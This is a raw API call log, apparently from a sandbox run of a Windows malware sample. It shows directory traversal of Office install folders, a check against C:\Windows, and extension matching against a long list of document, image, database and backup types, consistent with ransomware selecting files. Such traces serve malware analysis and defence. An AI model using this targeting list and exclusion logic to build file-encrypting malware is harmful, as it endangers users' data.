lstrcmpiW (lpString1=".png", lpString2=".IPM") returned 1 [0069.307] lstrlenW (lpString=".pnm") returned 4 [0069.307] lstrcmpiW (lpString1=".pnm", lpString2=".IPM") returned 1 [0069.307] lstrlenW (lpString=".pot") returned 4 [0069.307] lstrcmpiW (lpString1=".pot", lpString2=".IPM") returned 1 [0069.307] lstrlenW (lpString=".potm") returned 5 [0069.307] lstrcmpiW (lpString1=".potm", lpString2="].IPM") returned -1 [0069.308] lstrlenW (lpString=".potx") returned 5 [0069.308] lstrcmpiW (lpString1=".potx", lpString2="].IPM") returned -1 [0069.308] lstrlenW (lpString=".ppa") returned 4 [0069.308] lstrcmpiW (lpString1=".ppa", lpString2=".IPM") returned 1 [0069.308] lstrlenW (lpString=".ppam") returned 5 [0069.308] lstrcmpiW (lpString1=".ppam", lpString2="].IPM") returned -1 [0069.308] lstrlenW (lpString=".ppm") returned 4 [0069.308] lstrcmpiW (lpString1=".ppm", lpString2=".IPM") returned 1 [0069.308] lstrlenW (lpString=".pps") returned 4 [0069.308] lstrcmpiW (lpString1=".pps", lpString2=".IPM") returned 1 [0069.308] lstrlenW (lpString=".ppsm") returned 5 [0069.308] lstrcmpiW (lpString1=".ppsm", lpString2="].IPM") returned -1 [0069.308] lstrlenW (lpString=".ppt") returned 4 [0069.308] lstrcmpiW (lpString1=".ppt", lpString2=".IPM") returned 1 [0069.308] lstrlenW (lpString=".pptm") returned 5 [0069.308] lstrcmpiW (lpString1=".pptm", lpString2="].IPM") returned -1 [0069.308] lstrlenW (lpString=".pptx") returned 5 [0069.308] lstrcmpiW (lpString1=".pptx", lpString2="].IPM") returned -1 [0069.309] lstrlenW (lpString=".prn") returned 4 [0069.309] lstrcmpiW (lpString1=".prn", lpString2=".IPM") returned 1 [0069.309] lstrlenW (lpString=".ps") returned 3 [0069.309] lstrcmpiW (lpString1=".ps", lpString2="IPM") returned -1 [0069.309] lstrlenW (lpString=".psb") returned 4 [0069.309] lstrcmpiW (lpString1=".psb", lpString2=".IPM") returned 1 [0069.309] lstrlenW (lpString=".psd") returned 4 [0069.309] lstrcmpiW (lpString1=".psd", lpString2=".IPM") returned 1 [0069.309] lstrlenW (lpString=".pst") returned 4 [0069.309] lstrcmpiW (lpString1=".pst", lpString2=".IPM") returned 1 [0069.309] lstrlenW (lpString=".ptx") returned 4 [0069.309] lstrcmpiW (lpString1=".ptx", lpString2=".IPM") returned 1 [0069.309] lstrlenW (lpString=".pub") returned 4 [0069.309] lstrcmpiW (lpString1=".pub", lpString2=".IPM") returned 1 [0069.309] lstrlenW (lpString=".pwm") returned 4 [0069.309] lstrcmpiW (lpString1=".pwm", lpString2=".IPM") returned 1 [0073.994] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.994] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0073.994] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us") returned 1 [0073.994] lstrcmpiW (lpString1="C:\\Windows", lpString2="Access.en-us") returned 1 [0073.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f54000 [0074.731] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0074.732] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.732] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0074.733] FindClose (in: hFindFile=0x3ee3220 | out: hFindFile=0x3ee3220) returned 1 [0074.734] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f54000 | out: hHeap=0x5d0000) returned 1 [0074.734] FindNextFileW (in: hFindFile=0x3ee31e0, lpFindFileData=0x352f094 | out: lpFindFileData=0x352f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0074.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 91 [0074.734] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 1 [0074.735] lstrlenW (lpString="Excel.en-us") returned 11 [0074.735] lstrcmpiW (lpString1="C:\\Windows", lpString2="Excel.en-us") returned -1 [0074.735] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x3f54000 [0074.735] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 91 [0074.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ee3220 [0074.735] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.735] FindNextFileW (in: hFindFile=0x3ee3220, lpFindFileData=0x352ee18 | out: lpFindFileData=0x352ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0074.735] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0074.735] lstrlenW (lpString=".1cd") returned 4 [0074.735] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.735] lstrlenW (lpString=".3ds") returned 4 [0074.735] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1 [0074.736] lstrlenW (lpString=".3fr") returned 4 [0074.736] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1 [0074.736] lstrlenW (lpString=".3g2") returned 4 [0074.736] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1 [0074.736] lstrlenW (lpString=".3gp") returned 4 [0074.736] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1 [0074.736] lstrlenW (lpString=".7z") returned 3 [0074.736] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.736] lstrlenW (lpString=".accda") returned 6 [0074.736] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1 [0074.736] lstrlenW (lpString=".accdb") returned 6 [0074.736] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1 [0074.736] lstrlenW (lpString=".accdc") returned 6 [0074.736] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1 [0074.736] lstrlenW (lpString=".accde") returned 6 [0074.736] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1 [0074.736] lstrlenW (lpString=".accdt") returned 6 [0074.736] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1 [0074.736] lstrlenW (lpString=".accdw") returned 6 [0074.736] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1 [0074.736] lstrlenW (lpString=".adb") returned 4 [0074.737] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".adp") returned 4 [0074.737] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".ai") returned 3 [0074.737] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0074.737] lstrlenW (lpString=".ai3") returned 4 [0074.737] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".ai4") returned 4 [0074.737] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".ai5") returned 4 [0074.737] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".ai6") returned 4 [0074.737] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".ai7") returned 4 [0074.737] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".ai8") returned 4 [0074.737] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".anim") returned 5 [0074.737] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1 [0074.737] lstrlenW (lpString=".arw") returned 4 [0074.737] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0074.737] lstrlenW (lpString=".as") returned 3 [0074.737] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0074.737] lstrlenW (lpString=".asa") returned 4 [0074.737] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".asc") returned 4 [0074.738] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".ascx") returned 5 [0074.738] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1 [0074.738] lstrlenW (lpString=".asm") returned 4 [0074.738] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".asmx") returned 5 [0074.738] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1 [0074.738] lstrlenW (lpString=".asp") returned 4 [0074.738] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".aspx") returned 5 [0074.738] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1 [0074.738] lstrlenW (lpString=".asr") returned 4 [0074.738] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".asx") returned 4 [0074.738] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".avi") returned 4 [0074.738] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".avs") returned 4 [0074.738] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".backup") returned 7 [0074.738] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1 [0074.738] lstrlenW (lpString=".bak") returned 4 [0074.738] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0074.738] lstrlenW (lpString=".bay") returned 4 [0074.739] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".bd") returned 3 [0074.739] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0074.739] lstrlenW (lpString=".bin") returned 4 [0074.739] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".bmp") returned 4 [0074.739] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".bz2") returned 4 [0074.739] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".c") returned 2 [0074.739] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0074.739] lstrlenW (lpString=".cdr") returned 4 [0074.739] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".cer") returned 4 [0074.739] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".cf") returned 3 [0074.739] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0074.739] lstrlenW (lpString=".cfc") returned 4 [0074.739] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".cfm") returned 4 [0074.739] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0074.739] lstrlenW (lpString=".cfml") returned 5 [0074.740] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1 [0074.740] lstrlenW (lpString=".cfu") returned 4 [0074.740] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0074.740] lstrlenW (lpString=".chm") returned 4 [0074.740] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0074.740] lstrlenW (lpString=".cin") returned 4 [0074.740] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0074.740] lstrlenW (lpString=".class") returned 6 [0074.740] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1 [0074.740] lstrlenW (lpString=".clx") returned 4 [0074.740] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0074.740] lstrlenW (lpString=".config") returned 7 [0074.740] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1 [0074.740] lstrlenW (lpString=".cpp") returned 4 [0074.740] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0074.740] lstrlenW (lpString=".cr2") returned 4 [0074.740] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".crt") returned 4 [0074.741] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".crw") returned 4 [0074.741] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".cs") returned 3 [0074.741] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0074.741] lstrlenW (lpString=".css") returned 4 [0074.741] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".csv") returned 4 [0074.741] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".cub") returned 4 [0074.741] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".dae") returned 4 [0074.741] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".dat") returned 4 [0074.741] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".db") returned 3 [0074.741] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0074.741] lstrlenW (lpString=".dbf") returned 4 [0074.741] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".dbx") returned 4 [0074.741] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0074.741] lstrlenW (lpString=".dc3") returned 4 [0074.742] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".dcm") returned 4 [0074.742] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".dcr") returned 4 [0074.742] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".der") returned 4 [0074.742] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".dib") returned 4 [0074.742] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".dic") returned 4 [0074.742] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".dif") returned 4 [0074.742] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".divx") returned 5 [0074.742] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1 [0074.742] lstrlenW (lpString=".djvu") returned 5 [0074.742] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1 [0074.742] lstrlenW (lpString=".dng") returned 4 [0074.742] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".doc") returned 4 [0074.742] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.742] lstrlenW (lpString=".docm") returned 5 [0074.742] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1 [0074.742] lstrlenW (lpString=".docx") returned 5 [0074.742] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0074.743] lstrlenW (lpString=".dot") returned 4 [0074.743] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0074.743] lstrlenW (lpString=".dotm") returned 5 [0074.743] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1 [0074.743] lstrlenW (lpString=".dotx") returned 5 [0074.743] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1 [0074.743] lstrlenW (lpString=".dpx") returned 4 [0074.743] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0074.743] lstrlenW (lpString=".dqy") returned 4 [0074.743] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0074.743] lstrlenW (lpString=".dsn") returned 4 [0074.743] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0074.743] lstrlenW (lpString=".dt") returned 3 [0074.743] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0074.743] lstrlenW (lpString=".dtd") returned 4 [0074.743] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0074.743] lstrlenW (lpString=".dwg") returned 4 [0074.743] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0074.743] lstrlenW (lpString=".dwt") returned 4 [0074.743] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0074.743] lstrlenW (lpString=".dx") returned 3 [0074.744] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0074.744] lstrlenW (lpString=".dxf") returned 4 [0074.744] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0074.744] lstrlenW (lpString=".edml") returned 5 [0074.744] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1 [0074.744] lstrlenW (lpString=".efd") returned 4 [0074.744] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0074.744] lstrlenW (lpString=".elf") returned 4 [0074.744] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0074.744] lstrlenW (lpString=".emf") returned 4 [0074.744] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0074.744] lstrlenW (lpString=".emz") returned 4 [0074.744] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0074.744] lstrlenW (lpString=".epf") returned 4 [0074.744] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0074.744] lstrlenW (lpString=".eps") returned 4 [0074.744] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0074.744] lstrlenW (lpString=".epsf") returned 5 [0074.744] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1 [0074.744] lstrlenW (lpString=".epsp") returned 5 [0074.744] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1 [0074.744] lstrlenW (lpString=".erf") returned 4 [0074.744] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".exr") returned 4 [0074.745] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".f4v") returned 4 [0074.745] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".fido") returned 5 [0074.745] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1 [0074.745] lstrlenW (lpString=".flm") returned 4 [0074.745] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".flv") returned 4 [0074.745] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".frm") returned 4 [0074.745] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".fxg") returned 4 [0074.745] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".geo") returned 4 [0074.745] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".gif") returned 4 [0074.745] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".grs") returned 4 [0074.745] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0074.745] lstrlenW (lpString=".gz") returned 3 [0074.745] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0074.746] lstrlenW (lpString=".h") returned 2 [0074.746] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0074.746] lstrlenW (lpString=".hdr") returned 4 [0074.746] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0074.746] lstrlenW (lpString=".hpp") returned 4 [0074.746] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0074.746] lstrlenW (lpString=".hta") returned 4 [0074.746] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0074.746] lstrlenW (lpString=".htc") returned 4 [0074.746] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0074.746] lstrlenW (lpString=".htm") returned 4 [0074.746] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0074.746] lstrlenW (lpString=".html") returned 5 [0074.746] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1 [0074.746] lstrlenW (lpString=".icb") returned 4 [0074.746] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0074.746] lstrlenW (lpString=".ics") returned 4 [0074.746] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0074.746] lstrlenW (lpString=".iff") returned 4 [0074.746] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0074.746] lstrlenW (lpString=".inc") returned 4 [0074.746] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0074.747] lstrlenW (lpString=".indd") returned 5 [0074.747] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1 [0074.747] lstrlenW (lpString=".ini") returned 4 [0074.747] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0074.747] lstrlenW (lpString=".iqy") returned 4 [0074.747] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0074.747] lstrlenW (lpString=".j2c") returned 4 [0074.747] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0074.747] lstrlenW (lpString=".j2k") returned 4 [0074.747] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0074.747] lstrlenW (lpString=".java") returned 5 [0074.747] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1 [0074.747] lstrlenW (lpString=".jp2") returned 4 [0074.747] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0074.747] lstrlenW (lpString=".jpc") returned 4 [0074.747] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0074.747] lstrlenW (lpString=".jpe") returned 4 [0074.747] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0074.747] lstrlenW (lpString=".jpeg") returned 5 [0074.747] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1 [0074.747] lstrlenW (lpString=".jpf") returned 4 [0074.747] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".jpg") returned 4 [0074.748] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".jpx") returned 4 [0074.748] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".js") returned 3 [0074.748] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0074.748] lstrlenW (lpString=".jsf") returned 4 [0074.748] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".json") returned 5 [0074.748] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1 [0074.748] lstrlenW (lpString=".jsp") returned 4 [0074.748] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".kdc") returned 4 [0074.748] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".kmz") returned 4 [0074.748] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".kwm") returned 4 [0074.748] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".lasso") returned 6 [0074.748] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1 [0074.748] lstrlenW (lpString=".lbi") returned 4 [0074.748] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0074.748] lstrlenW (lpString=".lgf") returned 4 [0074.748] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".lgp") returned 4 [0074.749] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".log") returned 4 [0074.749] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".m1v") returned 4 [0074.749] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".m4a") returned 4 [0074.749] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".m4v") returned 4 [0074.749] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0074.749] lstrlenW (lpString=".max") returned 4 [0074.749] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0074.749] 